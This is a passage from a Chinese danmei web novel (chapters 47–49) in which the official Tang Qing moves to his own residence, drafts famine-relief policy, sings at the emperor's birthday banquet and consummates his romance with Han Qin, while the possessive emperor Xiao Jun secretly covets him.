唐青叩谢:“多谢皇上恩典。” 本可拟一道圣旨宣告,萧隽却传他到御前亲谕。 加封侍中头衔后,他便相当于皇帝的专门顾问。于尚书台任职,过去的几名侍郎同僚,也都成为了他的副职。而今尚书台,他的官秩已仅次于尚书令了。 唐青暗忖,旋即开口:“皇上,臣有一个不情之请。” 借此时机,他道:“臣请求搬出宫内,自立府邸。” 萧隽冷笑,眉峰间却略有无奈。 唐青微微抬眸:“皇上可还记得宫宴结束,您答应过臣一个要求。” 萧隽:“便是要搬出去?” 唐青:“是……望皇上成全。” 他再度开口:“望陛下成全。” 萧隽不再看他,垂目重新布旗。 半晌,才道:“孤允了。” ** 屏退唐青,萧隽未再落下一颗棋子。 李显义上前添茶,摆置茶点。 萧隽目光平淡:“你看,他迫不及待出宫,连半分不舍都没有,孤可曾亏待过他?” 李显义心下叹气:“陛下,此茶点以梅花和香蜜制作,微甜微香,可要尝尝?” 萧隽以指落棋,想着如何拿唐青的心。 李显义斗胆开口:“陛下,唐大人心志坚定,只怕认定一个人便再无更改。” 萧隽眉宇微抬,一哂:“那是你还不了解他。” “他那性子,在伤人前,自会抽身,宁可自伤,也不想给谁带去伤害。韩擒固然不错,但……不适合。” 总之不需他做棒打鸳鸯的恶人,总会等到那一天的。 萧隽左手置棋,将右边的棋子当成唐青的心,一招吞了去。 第047章 第 47 章 休沐日, 唐青趁此空闲,将行李收拾整理,搬出宫内。 一早, 兰香便与他清点能带走的物什, 多为衣物被褥和药材。 整理箱柜内的小物件时, 兰香纳闷地上下翻找, 就差没往柜底钻去。 唐青叠好几件长袍, 问道:“在找何物?” 兰香趴在地面, 瞥见柜底空荡荡的。 她道:“先生, 先前兰香托了刘太医配药,特意给您备了好几个药囊,方才整理, 竟丢了大半。” 唐青与她一块找寻片刻,并无所获。 兰香皱眉:“究竟落在何处?” 她面色一凛,喃喃自语:“该不会叫人偷了罢。” 潇湘殿除了兰香,仅留两名宫人。一名在后厨负责膳食, 另外一名则日常洒扫。 负责洒扫的宫人在前厅整理箱子, 兰香寻到她, 问:“先生丢了几个药囊,可是你拿走了?” 宫女惴惴不安道:“奴婢没有拿殿内任何物什。” 兰香还待追问,唐青跟来,阻止了她。 “罢了,药囊丢了就丢了吧,并非什么贵重物件,没了还能再配。” 他示意兰香不必再咄咄逼人, 温声安抚那名宫女,打发她去外头忙别的事。 兰香努嘴:“先生, 您就是太好说话了,对谁都和颜悦色,才叫她们不怕您。” 唐青道:“此等小事,我不想将其扩大。” 兰香振振有词:“若真是她偷了去,今日只偷小件,仗着不被追责,一旦有了底气,往后就敢偷名贵物什。” 唐青问:“可有证据证明是她偷的?” 兰香:“方才不就是在问她……” 唐青道:“凡事都要讲究证据,收集了物证人证,才能给人定罪。且宫内眼线众多,两名宫人都是皇上差人派来的,不管她做了何事,只要不伤天害理,咱们便睁一只眼闭一只眼,等搬出去以后,没了宫内那么多规矩,届时你要怎么管就怎么管。” 兰香眼睛一亮:“先生——” 唐青莞尔:“等有了府邸,让你做管事,如何?” 兰香立刻将方才的小事抛之脑后,琢磨起当了管事该如何打理府邸。 未过正午,行李已收拾得差不多。 韩擒替他准备了接送的马车,还差了几名七营禁军过来把箱子往马车上搬运。 出宫时朔气逼人,北风凛凛,望着灰蒙蒙的天幕,唐青的心却稍带了几分喜悦,直朝宫外飞。 ** 唐青对邺都算不上熟悉,托了韩擒,差人在都城内寻了处还算僻静的府邸。 他得皇帝几次赏赐,攒到一笔钱,府邸直接买下,合计一千八百两。 马车离开皇宫,过了玉河桥,沿左边的金水街方向驾驶。 邺都里,属朱雀街一带最为繁华富裕,此地段的府邸,千金难求。 金水街虽不比朱雀街繁华,胜在清怡。 唐青喜静,韩擒托人选的府邸,雅致安宁,且距离皇宫只二刻钟车程,价钱还给了一成便利,这是目前能买到的性价比最好的府邸了。 马车停在大门外,唐青携兰香入府,沿四周走了一圈。 府邸为中等规模大小,分前中后三院,正房、东西厢房,耳房共计七间。其中,回廊位置独特,院中还凿了个小池,可引入水流栽植水生植物,或拿来养鱼观赏。 一圈走下来,唐青与兰香都十分满意。 屋内陈设几张简单的桌椅,其余家具还需唐青另行再添加。 他看着兴致高昂的小姑娘,道:“去挑间你喜欢的厢房,今后就住在里头。” 兰香欢喜应下,选好房间,又去差人把装运行李的箱子搬到屋内放好。 过正午,天阴扑扑的,唐青和兰香稍作休息,到街边下了一顿馆子。 两人吃饱后,前往西街售卖家具的区域,选了两张睡榻。 唐青闲时喜欢看书,便又挑了套桌椅书案,还有用来临时小憩的坐榻。 此套家具花了将近两百两,和掌柜交付完钱款后,让店铺的人帮忙托运至府邸。 主仆二人里里外外忙了大半日,临傍晚,方才有功夫坐下,饮几盏泡好的清茶,对着光秃秃的庭院欣赏。 兰香手指几处方向,道:“以后在此处载种花草,最迟明年开春播种,入夏后就能看到长成的绿叶和花苞。夏意浓阴时,花瓣定然繁盛。后院那头,开出一片小菜园,用篱笆围两个禽圈,养上几只鸡鸭。” 听着兰香头头是道地讲述规划,唐青始终面含笑意,脑海里幻想着绿意点缀的庭院,觉得此刻眼前光秃秃的院子变得分外可爱。 他道:“兰管事,今后这座府邸,就交由你操心了。” 兰香一听,即刻羞赧,但又很快兴奋起来。 她笑呵呵道:“天色不早,先生您先坐着,我去准备几道晚膳。” 唐青不忍兰香忙前忙后,说道:“明日你带些钱出去,招两人回来,就如同在宫里一样,一人在后厨负责备膳,一人洒扫。” 兰香打量庭院四周的几间房屋,让她独自打理整座府邸很费功夫,于是欣然同意。 交谈之际,外头响起扣锁声。 唐青和兰香一同去开门,竟是尚书台的几名同僚。 苏少游眼睛转溜溜地上下打量:“这府邸的院子真雅致。” 李秀莽道:“恭喜大人。” 登门拜访的二人手上都提着礼物,还捎带了寇广陵跟另外几名侍郎同僚送的礼。 唐青领着他们进屋,李秀莽做事周到,专程从酒楼打包几份菜肴,省去兰香下厨的功夫。 ** 冬夜漆静,堂屋陈摆四盆烧炭,点几盏油灯,一伙人围食桌而坐。 几人就着现成的热乎饭菜,吃得津津有味。 苏少游性子活泼,话最密集,丝毫没有因为唐青升了官秩而改变与他相处的方式。 唐青放下心来,手执茶盏,唇边浮起弧度,朝李秀莽扬眉浅笑。 “以茶代酒,敬你们一杯。” 过了申时,李秀莽和苏少游不再叨扰,唐青送他们离开,直至身影消失,方才合起大门。 今日忙着搬家,唐青浑身疲倦。 待他梳洗完毕,发髻还泛着潮湿,便听兰香在门外,唤道:“先生,统领来看您嘞。” 唐青开门,左右观望。 兰香道:“统领知先生今日必定乏倦劳累,不想扰您歇息,只在堂屋坐着,还说什么等您熟睡后,到房门外看会儿就走。” 听罢,唐青好笑,连衣服都顾不上添,疾步赶去堂屋。 * 韩擒提步欲走,怀里撞来一抹轻盈的身子。 洗漱完不久的唐青落发微微湿润,热水泡得浑身泛红,散发着清幽温暖的浅淡沁香。 韩擒好似揽了一抹香,觉察唐青未添外衣就出来,便解开墨色大氅,小心把人裹好。 韩擒道:“外面冷,先回屋里。” 唐青牵着对方引路,不忘回眸睨一眼。 "怎么还有人来了不见面就走的?" 冷风呼了呼,韩擒走在迎风面,小心把唐青护在内侧。 他低声回道:“舍不得打扰你。” 入了寝屋,门口合上。 唐青坐在榻前:“那你就不想见我?” 韩擒:“……” 喉头滚了滚,道:“想。” 唐青道:“那就不要总是克制,把你想要的说出来。我们既然在一起,就需坦诚以待。” 韩擒答应:“好。” 说罢,双臂拥紧唐青,轻微低头,嘴唇擦着隐在青丝下的那只耳垂,好似亲吻着上等的白玉,满心甜蜜。 又觉不够,唇贴着耳垂缓缓朝下落,扑在唐青颈侧的气息变得愈加炙热。 惯来自持稳重的韩擒,把唐青的贴身衣物都揉乱了。 覆盖着茧子的指腹沾着细腻的皮肉,恨不得搓着揉着,深深陷进骨血里。 两人呼吸混乱地倒在榻间,唐青胳膊绕上韩擒肩膀,眼波里的迷蒙四溢流淌。 视野不由往支起的方向瞥去,正欲开口,韩擒却深深吸了口气,坐直身躯,再以被褥把那具隐约露出的皮肉的身子遮盖严实。 他哑声道:“今日你太累了,我看着你,等你睡着后再走。” 唐青方才被吻得有点大脑缺氧,理智一片混沌。 他又疲倦又亢奋,指尖在韩擒泛热的掌心滑了滑,终究抵不住忙碌后的劳累,如花饱/满的唇瓣透着艳丽和潮湿,渐渐阖眼。 唐青很快陷于梦寐中。 ** 颐心殿,萧隽如过去的无数个日夜,未能正常睡眠。 李显义有些忧愁,道:“陛下,可要拿个香囊进来?” 萧隽揉揉眉心:“嗯。” 很快,李显义从明黄色的宝盒里取出皇帝要的东西,盒内还整齐陈放着另外四个香囊。 每当萧隽合不上眼,就将此香囊置于枕边,嗅着与唐青身上相似的气息,方才得以宁神小憩。 李显义退出寝殿,幽幽叹息。 说来也怪,他找过刘执太医,以相同药材做了一模一样的香囊,但陛下却说味道不对。 那能使陛下安神歇息的香囊,非得在唐青身边留过一段时间,带回来了,才能发挥效用。 是以,潇湘殿隔段时日总会神不知鬼不觉地丢失几个香囊。 如今住在潇湘殿的人搬去宫外,今后还得遣暗卫悄悄拿香囊回来才行呐。 第048章 第 48 章 迁到新居不久, 午后唐青正在与兰香清理庭院,他们将部分土壤换到院子,外头忽然来了人。 兰香前去开门, 笑着喊道:“先生, 是大统领。” 唐青拎着小铁锄仰头, 朝对方露出浅笑。 “这么早就过来了?” 韩擒走到他身边, 屈膝半蹲, 温热宽厚的掌心摸了摸他的脚踝, 目光隐有担忧。 “天冷, 此事交给下人就好,何需你亲自动手?” 唐青眉眼浅扬:“在屋内待了很久,见兰香要松些土, 便来搭把手,顺道透口新鲜空气。” 还保证:“冷了我就回屋里烤火,不会出事。” 话音落罢,余光朝跟着韩擒过来的护卫扫去, 见他们往院里抬来一口大箱子, 不禁疑惑。 “这是何物?” 韩擒道:“有人给你稍了东西送到皇宫, 赶上下值,就给你带来。” 唐青在大邺没几个朋友,心念急转间,很快往箱子走近。 他掩不住喜悦:“可是从涿州南郡送来的?” 异地相隔,还惦记自己的,唯有梁名章一人了。 韩擒道:“没错,是梁王府上送来的。” 和这口大箱子一并稍送的, 还有一封信。 韩擒将放在袖口内的信交给他,唐青放下小铁锄, 二话不说拆了信查阅。 梁名章在信中与他问候,关心他的近况,又道起梁王府的一切,介绍了这次给他送来的物什,笔墨落至末尾,字里行间皆是不甚显露的思念,祈愿他在邺都万事安好。 唐青耐心地将内容反复看了几遍,小心折叠信纸,让兰香将整封信妥善置于他书房中用于收纳的木盒里。 见韩擒目不转睛注视自己,便解释:“惊鸿与我分别将近一年,在信上叙说了近年梁王府发生的事,虽无大富大贵,胜在大家安稳度日。” 他牵起韩擒,走到大箱子前,用钥匙开锁,露出里头的物什。 几个木盒储放着梁名章打理过的药材,及手工制作的蜜枣,还有对方亲手做的南郡特产小食。 余下的,便是无数堆满箱子的茎块。 韩擒见唐青神色喜悦地拿茎块反复打量,压下适才生出的少许酸苦之意,问道:“此为何物?” 唐青笑道:“土豆。” “年初从东溟运来的一箱海货里,我发现了土豆,就与惊鸿在开春后种于菜园里,没想到今年收获的土豆成色还不错。” 他给韩擒介绍土豆的妙处:“土豆可作主食果腹,且种植环境并不严苛,量大管饱,如果能把土豆进行大量翻产,使其成为价廉寻常的粮食,届时大邺的百姓哪需日日紧着肚子。” 他让人把土豆收好:“这箱可是宝贝,等发了芽,开春后全部种满。” 两人并肩回到堂屋,唐青用盆里的温水洗手,又换了另一双干净的鞋子,吩咐后厨盛些热食上桌。 韩擒散值后就送了东西上门,唐青留下对方,笑吟吟地看着人用膳。 他问:“可有喜欢的菜色?下次我让厨子准备。” 韩擒饮食并无讲究,从军时条件艰苦,有水有干粮就行。如今虽已升官,也未养成奢靡挥霍之风。 膳后,韩擒仍留府邸,陪唐青去了书房。 今年入冬,幽、冀两州的灾情境况依然不容忽视,只能靠着朝廷拨去的赈灾粮勉强度过,长期如此,也不是个办法。 昨日在上早朝时,皇帝就两州灾情为难了诸多官员,要求众人三日内呈上解决难题的奏本。 唐青将头绪理清,很快沉下心写折子。 从古至今,历代王朝都面临过相似困境,解决的方式,常见的便有军队屯田制度。 当今天下初定,不需要日日打仗,因此,边境备战地区,平常练完兵后,可组织军民开垦荒地、增长粮食,此举用来达到自给自足的目的,此为军屯粮。 而当地附近的百姓,或流落在周围的流民,亦可组织起来。 一方面可减少乱民,使其逐渐安稳,在相应地区落户生产;另一方面同步实行民屯田,用以扩充当地粮库。 充分调动幽、冀两州的劳动生产力,提高当地食物产量,长年累月,此自耕自守、屯田戍边的政策,可使边防驻军无需依靠朝堂赈灾。 为了长久平定军心,召百姓入伍,安抚边境,朝廷亦需提高将士士兵的待遇,否则如此苦寒境地,难保逃兵增加,留不住人。 唐青还主张建设平粮仓。 待边境的幽、冀二州粮食产量翻涨,粮价稳定后,当地粮仓便以平价向百姓收购粮食屯于仓储。 如若遇上粮食紧缺的年份,官府再以平价卖出,以此达到调节余缺、稳定粮价的目的。 幽、冀两州气候和地理较为独特,没有内陆种植的优势,对于选种粮食的种类,也需挑选合适的。 摆在眼前的土豆是个合适的选择,唐青顺手把从东溟收植的土豆提上奏本,待稍后他往南郡梁王府去一封书信,和梁名章商议如何处理今年收成的土豆。 除军队、平民并行屯田制度、建立平粮仓以外,唐青还在最后提了促商运粮的建议。 过去朝廷一直掌管绝大部分的田地和盐,如今慢慢把盐田下放到百姓手里,那么便可施行相应政策。 朝廷调动内地商人运粮到边境的积极性,届时官府以盐票和商粮交换。 既能扩充当地粮仓储量,还能有序对商人发放盐票,促进民间经济的发展。 暮色渐起,唐青听到韩擒在门外唤他,方才从书案起来, 他在书房写了一下午,手腕和眼睛酸痛不已。 韩擒上前,替他按了按眉心和额际,半晌过后,蹙眉问:“可有缓解。” 唐青闭起眸子,窒闷在胸口的气息慢慢排解,连带着头也没那么疼了。 他浅舒一口气,顺势倚进韩擒怀里,脸颊贴在宽阔的肩膀上。 韩擒手指落在他的发顶,带着安抚的意味轻揉。 唐青问:“你一直没走?” 韩擒道:“回府上处理了一些事务,睡了会儿,过来时见你还忙,就在院里练了几套拳法。” 唐青闷声一笑,将手放在那只宽大的掌心,任由包住。 “韩统领,你可知道朝廷严禁官员私交甚密。” 韩擒由他打趣,喉头滚了滚,哑声道:“来时无人发现。” 唐青轻哼:“这么说,统领还是悄悄潜入我府上的?” 韩擒无言,通常他的沉默便表示默认。 唐青为他耿直却又顺从内心的做法萌倒,方才仰头,下巴就叫韩擒轻柔抬起,炙热密切的吻随之而来。 二人在书房内拥着亲吻,耳鬓厮磨,直到唐青浑身虚软得站不稳,韩擒才停下,抱起他走到坐榻放下。 黑蒙蒙的夜色笼着四周,兰香和另一名仆人的声音从庭院传来,那两人正在把庭院回廊上的灯笼点亮,微弱的暗光透进书房,唐青模糊窥见韩擒失控的样子。 兰香提着烛火站在门外,轻声问:“先生可在?” 唐青从韩擒的臂弯里站起,清了清嗓子,说道:“我和统领都在,晚膳可备好了?” 兰香笑应:“就等先生和统领上桌。” 小姑娘不敢贸然闯入,前几日冒冒失失闯入书房,撞到先生和大统领交颈相拥的场面,那一瞬间,直叫她脸红害羞,欲找快地缝钻进去。 韩擒留在府邸陪唐青用了晚膳,待月上檐角,方才悄然离府。 ** 翌日,唐青入宫呈递奏折,待朝会散去,官员们仍窃语交谈。 宴邀各国的宫宴结束不久,又要迎来另一场更为重要的宴席。 皇帝诞辰不日将至,过去三年,顾及战后世道仍然苦乱,身为国主的萧隽,连一场华筵都没操办。 今年天下已有初稳之势,众官员便提议兴办帝王华筵,届时普天同庆,皇恩浩荡,福佑万民。 文武百官,三品以上的官员要给皇帝送诞辰贺礼,至于送什么,时下成为热议。 唐青如今授封正三品官秩,自然需要给皇帝送贺礼。 独自回府途中,他思索此事,路上有了头绪。 到府上,他唤兰香一起出门,乘车前往邺都售卖木料的店铺。 像最好的紫檀木专供皇家使用,莫说寻常百姓,就连朝堂大臣都买不起、用不上。 他跟掌柜要了具备宁神静气效用的其他良木,交钱拿货以后,马不停蹄赶往木匠铺子,寻了个雕工技术精湛的师傅,让对方替他做一副象棋。 唐青见过萧隽独自对弈。 那样的帝王,连下棋都只能自己博弈。 身居国主之位,统一乱世,朝臣敬他畏他,承载万民俯首,却始终只寥寥一人。 或许也是有些寂寞的吧。 抛开皇帝对他曾经所为,纵然私下听过一些议论,就唐青过去一年所见和接触到的…… 可能萧隽并不是个仁慈皇帝,但他不认同对方是个专制独断的暴君。 *** *** (下) **** 帝王诞辰当夜,华筵大办于昭阳殿。 朝堂文武百官赴宴,唐青着天青色广袖华服到场,落座席间,和不远处的韩擒微微点头,相视一笑。 萧隽步入大殿时,满席官员起身行礼,齐声高贺。 唐青跟着众人向皇帝庆贺,不知是不是他出现错觉,那道平静平淡的目光似乎在他身上落了一瞬。 待宴会开始,得帝王示意,百官杯盏言欢,豪情纵饮。 唐青小酌清酒,大部分都在吃食案上的佳肴,偶与旁边的官员低声交谈几句。 与周围的热闹不同,他不疾不徐,既融入其中,又自成一片怡然宁静的天地,眉眼浅扬,转盼流光,举手投足间成了这场华筵上的美景。 酒酣耳热之际,忽听坐席上有人高声说道:“下官闻唐大人才情斐然,又得皇上重任,今日即办华筵,大人可要为皇上献才庆贺啊?” 朝会即朝堂,就算此刻笙歌绕梁,也免不得党派相争。 唐青最近一年出尽了风头,尽管为人低调,可近日晋升官秩,从御前侍郎一跃成为二品重臣,自是让人眼红。 那存心要看他好戏的官员起身朝金銮座上的帝王行礼,又道:“适才大伙儿以酒成诗,轮番为皇上庆贺。可下官看唐大人自始至终不发一言,可是不喜以诗做赋?还是不愿意?” 唐青即为尚书台一员,身为尚书令的寇广陵自是看不下,欲为他说话。 就在寇广陵和韩擒开口之前,忽听金銮宝座上的萧隽出声。 “唐卿,可为孤庆祝?” 明知席下臣子有意为难唐青,但萧隽听了适才的那一番话,心弦微乱。 朝臣们那些为他祝贺诞辰的诗词顾不上听,脑子里想着唐青会愿意为他庆贺吗? 回神之际,话已脱口,看似平静,心绪却有点乱。 唐青……可会拂他面子?又或心不甘情不愿的接受? 满席目光皆落于唐青身上,有看戏的,有中立的,有不怀好意的,还有几道担心的。 唐青望着眼前的冰裂纹青酒盏,起身朝金銮座上的帝王拱手做礼,谦和笑道:“臣对陛下的忠心日月可鉴,自然愿意为陛下庆祝诞辰。” 又道:“臣自是不擅对酒做诗……” 那官员打断:“既如此,唐大人便会吟曲奏乐了?” 优伶之人在大邺地位甚微,官员此话暗藏几分折辱之意。 尚书台几人同韩擒面色一变,准备开口斥责,只听唐青笑了声,并无愠色。 “微臣不才,确会几首小曲。” 他一派从容,言辞神色毫无轻蔑之意,并不将优伶视为低下。 被他如此平静温和的注视,倒叫找茬的官员有些拉不下脸,显得面目可憎起来。 官员暗恼:“那下官洗耳恭听!” 唐青也不看对方,将其无视,只朝萧隽行君臣之礼。 “皇上,臣献丑了。” 他未让宫伶奏乐,只孤身立于宝殿,自成一色。 “等谁那沸腾的魂魄,如让山水为之褪色,来拯救这天涯萧索。” "是谁恩怨情愁演活,心上牵挂无暇抖落, 只为世事杀出传说。" “唯匡世经纬,胸怀天下。血染敌镇却为残杀,难道有违天道错。” “你是风沙的怒吼,你是断崖的坚守,你是剑锋过后仰望月夜,眉间的寂寞。” “你是滴水的沉着,你是落花的幽柔,你是万世称颂却为日落,默默哀叹的血肉。” 一代帝王,功过如何,自是后世评说。 唐青清唱一首《英雄寞》,声色如玉,坚定中似有微微叹息,徐徐道叙令人动容的故事。 一曲停,满宴寂静,只余那似乎还未消散的嗓音。 词曲在大邺闻所未闻,荡气回肠又恍生喟叹遗憾。众人仿佛还沉浸在余韵当中,神情各有各的呆怔。 唐青重新落席,轻轻偏头,迎上金銮座投来的那两道并不平静的视线。 他垂首做恭敬姿态,执起酒盏,有点心不在焉地饮下。 * 直至宴饮散场,唐青离席不久,身边追来几名尚书台的同僚,连寇广陵也来宽慰他。 安抚之余,更是盛赞了他方才的那首歌。 唐青谦虚笑笑,曲后多喝了几杯,此时风迎着面,身形虚浮,头脑也热。 好几名官员等尚书台的人离开,正欲上前和唐青攀谈,却被人先前一步挡开。 韩擒面色沉着,道:“本官与唐大人有事叙商,还请诸位先回去吧。” 打发走周围的人,韩擒借视野盲区,将唐青迅速带出皇宫。 身后不远,奉皇命来寻唐青回去面圣的李显义,左右追不上人,急得暗恼,意识到自己晚了一步。 * 马车内。 唐青意识有些混乱,韩擒挑开水囊,给他喂了点清水。 半晌,他抬眸观察对方,理智回归几分。 韩擒揽着他:“还好吗。” 唐青微微摇头,又点头。 “今夜多贪两杯,喝水之后感觉好了许多。” 身前的人抱他,途中却无言缄默。 马车到了府上,唐青被对方抱入屋内后,慢慢琢磨出少许意思。 烛火摇曳,铜盆盛着温水,对方沉默替他擦拭。 他一把拉住韩擒的手,眼睫润着水珠,哑声问:“你……可是生气了?” 韩擒摇头。 唐青却道:“你虽照顾我,却不看我,路上也未开口。” 说着,手指放在韩擒的面庞,摸了摸。 “脸绷得很紧,就是生气。韩擒,你——” 韩擒目光一闪:“……我不喜欢。” 不喜欢唐青今夜在大殿清唱时被那么多人注视,仿佛爱慕皆落于他身上,为他丢了魂。 不喜欢……唐青为皇上献唱的那首曲… 明知只是庆祝皇上诞辰,可……皇上满眼都是他。 唐青那么好,光华注定无法掩盖,以后会有越来越多人看着他,倾慕他…… 那些集中在他身上的爱恋,叫韩擒久违的生出怒气来。 唐青断了韩擒的思绪:“你在吃醋?” 韩擒眼神沉了沉,唐青双手环上他的脖子:“韩擒,你在吃醋啊。” 韩擒:“是……” 唐青轻笑,倒在他怀里。 笑得难以自抑时,发冠忽然滑落,如云的青丝沁出温暖的香气和些许酒气,扑了韩擒满怀。 韩擒怔怔望着怀里的人,直到被唐青用手指戳了一下脸。 他抓住那只细长滢白的手指,情不自禁吻了吻,继而抵上溢出笑声的唇。 唐青忽然反手将韩擒的脖子勾紧,眼睫微微濡湿,舔了舔对方的嘴角。 手指无意碰到韩擒上下滑动的喉结,触摸几下,对方更为失控。 他被迫启着唇舌,隔了衣襟,身前忽然袭来微痛。 韩擒呼出的热气汹涌地扑入他的心脏,唐青情迷之时忽生酸涩和感动。 他手指触摸韩擒发烫的耳廓,嗓音沙哑。 “我们在一起也有半年了,韩擒,你还要忍到什么时候?” 话刚落,倏地被韩擒捧起脸亲吻,那双深沉的星目暗火燃烧。 韩擒的声音低得不像样子:“先生,可以吗……” 唐青微微滑低身子,渍着湿润的红唇在对方不停滚动的凸起喉结轻咬。 只一瞬,帐帷外飘了块被撕裂的布。 他余光一扫,意识到碎布是自己的衣物。 第049章 第 49 章 帐帷飘晃, 半掩了唐青濡湿泛红的眉眼。 他垂眸低首,浮沉朦胧的视野中,只见小衣前俯了个人。 韩擒喷出的气息滚烫灼热, 俊挺的鼻梁沾着汗, 一滚一落, 打湿薄软贴身的小衣, 往日的克制如泄出的潮涌。 他已着迷入魔, 手背青筋暴起。 指腹粗糙, 刮搓着满掌的滑腻, 带得唐青忍不住颤抖。 如云般铺满枕头的青丝左右散乱的晃动,唐青咬唇,修长的手指虚虚抓了几下。 迟疑着, 最终落在宽阔修健的肩膀后。 这一下,便如同给了韩擒明确的指令。 唐青“唔”了声,旋即隐忍咬紧唇。 浓热的汗珠不断滚落在他脂红的皮肉上,透出靡靡细腻的湿润。 “韩、韩擒……” 他叫了声, 一只手腕被紧紧握着。 帐帷飘着晃着, 影影绰绰之间, 只剩那一头微乱的青丝垂至榻边,不停摇曳。 ** 烛火将熄,榻间的动静方才停止。 只见横出一条汗珠与青筋交错的手臂,将落下的帐帷拉起,而后,起来的男人扯了条袍子随意系上,抱了个软绵绵, 浑身透着湿润的青年下榻。 韩擒拿起架子层里叠放的布巾替唐青擦拭,再用一张干净被褥再将人裹紧。 此时唐青仿佛还沉浸在那阵骤雨般的余韵中, 濡湿的长睫犹如栖息的蝶羽,疲倦得厉害。 青丝仍然汗湿,他往韩擒脖子撞了一下,光洁的头印下一片温热。 韩擒沙哑得厉害,说道:“先靠会儿歇息。” 说罢,以最快的速度重新布置了一床干净被褥,回头抱起坐榻里出神的唐青,小心呵护地放入床榻。 唐青懒懒地勾了勾那只粗糙的手指:“……还去哪里?” 韩擒简声应道:“去趟后厨。” 不久,他手上端了盆热水进屋,把被褥里的青年剥出来揽到怀里,专注细致的擦拭。 唐青趴着,满背漆发。 此刻的亲密,比起刚才思绪混混沌沌地跟着身体晃飞的时候,来得愈加清晰强烈。 他闭眸养神,看似淡然,被落发半掩的耳垂和面颊实则已经红透几分,牵出火热,叫他难为情。 韩擒低声问:“可还难受。” 细瞧检查一番,还是需得上药。 尽管韩擒再如何小心,那种关头,并非能控制得住的。 唐青脸颊埋入枕内,闷声道:“第四层柜里,有一罐药膏。” 韩擒猛地抬起双目,眼中平复的灼意竟又要燃起,好似要将他再次彻底的灼穿。 唐青索性没有动,避开那道能把他灼烫坏的视线,半窘迫半暗恼地解释:“成年人之间感情,水到渠成后自然什么都发生了,总会有这么一日,有备无患……” 他越说越小声,炽热干燥的气息扑在耳后。 韩擒半曲前膝,撩起他的落发在红透的耳边啄吻数次。 小巧的耳垂袭来些许痛楚,又叫对方珍视地吻了吻。 唐青止不住颤抖,抬脸侧首,和那双灼人的眼睛对视,眸里的光盈盈波动,漾开涟漪。 半晌,韩擒敛起粗气:“……药上好了,后厨备有参汤,我喂你喝点。” 唐青身子弱,往后几日,需得注意补血补气。 韩擒几乎落荒而逃,唐青注视门外,慢慢扬起一抹笑容,继而安然疲倦地躺好。 帝王诞辰,百官休假三日。 唐青借此机会调理身体,韩擒每日下值都会悄然潜入府中,事事伺候,无论他要去哪都被对方抱着,把他当成瓷器做的似的,未曾假手于人。 唐青无奈又好笑:“何必如此紧张。” 韩擒紧握他的手,抵在唇边吻了一记。 ** 三日后,唐青将身子养得七七八八,一早就前往宫里上朝。 议完早会,文武百官散朝,唐青和韩擒远远对望便分开,各自去忙着手头的事务。 他去了尚书台,先和寇广陵商议应对幽、冀二州灾情的策略,再对计策的详细内容进行细化,一忙就过了晌午。 冬日阴蒙蒙的,不透几分光。 案前忽然落下一抹白点,唐青注视良久,右手停笔,起身推开窗户。 他站在窗前遥望天幕,灰色的云层飘下点点皓白无暇的雪花,今年入冬的第一场雪,就这么悄无声息地降落了。 偌大的皇宫笼在初雪之下,雪势逐渐茫茫,枯萎的枝干覆上一层薄白雪色。 尚书台来了在御前侍奉的宫人,宫人传达圣谕,让唐青去颐心殿一趟。 寇广陵收起他的文卷,道:“剩下的我来写,先过去吧。” 唐青道:“有劳大人了。” 他和宫人下楼,在大门前遇到外出忙完公务回来的李秀莽。 李秀莽看着引路的宫人,再看唐青,欲言又止。 最终只道:“外头风雪寒冷,路上注意些。” 唐青浅笑着言谢,未曾耽搁,很快跟随宫人到了颐心殿。 * 入殿后,温暖的气息席卷全身。 唐青解开狐白斗篷,轻轻抖落上面覆盖的雪花,转交给宫人置放。 殿内瑞兽鎏金香炉蔓出白雾,沉香袅袅,萧隽坐在棋案前,并未抬手布棋。 见他来了,道:“过来坐下。” 唐青领命,撩起衣摆坐稳,面前棋盘空空,一旁放着熟悉的盒子。 是他送给对方的那副象棋。 萧隽揭开盒盖,随意拿出一枚棋子:“这是什么棋。” 唐青应道:“回陛下,此物名为象棋。” 萧隽:“象棋?” 他凝视唐青的眉眼,狭长的双目闪烁出些许不解:“孤倒为所未闻,唐卿所知事物,总是充满新鲜。” 唐青耐心与萧隽讲解象棋的规则和玩法,萧隽道:“此副象棋,甚为巧妙,听起来就如沙场点兵对抗。” 他浅色双目涌起少许锋芒,窥见唐青面色稍显回避,便隐了心绪,平淡道:“唐卿有心,给孤送上这等新鲜玩意。” 觉察压在身上的锋芒收敛,唐青适才暗暗松了口气。 “陛下诞辰,百官进献奇珍不在少数,臣思来想去,没什么能拿得出手宝物,想起之前瞧见陛下独自对弈,便以此献丑,望陛下赎罪。” 萧隽淡道:“此物甚合孤的心意,唐卿何罪之有。” 他落下手中棋子,布在棋盘上。 “唐卿便陪孤下一局吧。” 唐青从命,坐在棋盘另一端,开始摆棋…… 适才他只陈述了一遍规则,没想到眼前的帝王记得清清楚楚,象棋摆放位置丝毫不差。 他道:“陛下先请。” 萧隽出棋,唐青随之落子。 殿外雪花簌簌飞扬,长阶扑了一地的白。 风声呼啸,殿内却悄然无息,唯有棋子落下的轻微响动。 萧隽虽记忆力很好,但毕竟是新手,唐青在现代时常拿人机对弈打发闲暇时间,水平也在中上,所以前三局倒叫他赢了去。 萧隽不动声色地瞥了唐青,旁人能与帝王对弈,实乃一辈子梦寐难求的殊荣,谁敢真的下棋? 唐青倒好,沉下心对弈,偶尔让出几子,最后也都赢了。 见此,萧隽非但没恼怒,反而暗生久违的畅快。 第四局,第五局…… 时间寂然流逝,唐青思考的时候越来越久。 开始他还能给作为新手的帝王让棋,如今全力以赴,思考的时间亦愈加长久。 第五局,唐青看着被吃掉的元帅,无奈一笑:“陛下,臣输了。” 棋局就是硝烟无形的战场,萧隽有着出色的军事头脑,是天生的战将,更是领导者,目光非常人能及。 叫他弄清楚规则适应几局后,唐青已经不是对手了。 萧隽目光里滑过几分愉悦:“再来一局。” 唐青眸子转向窗外,见天色已经灰暗,这才惊觉已经过了散值的时辰。 他委婉提示:“陛下,时候不早……” 说着,从案前站起,微微低下身替对方添了杯热茶。 只此弯腰的瞬间,萧隽嗅到属于唐青独有的沁香,心绪和眼神皆凝聚过去。 倏地,目光一颤,瞳孔骤缩。 青年微敞的襟口,残留未消的吻痕。 宛若冷血动物的淡色眼瞳死死盯着唐青,大掌紧扣那只添茶的手腕。 袖袍滑落,露出同样覆盖痕迹的腕子,斑青与白皙的肌肤交错,延伸至胳膊之上。 ……可见程度有多激烈。 被紧梏手腕的唐青错愕,随即恼怒。 “陛下,您——” 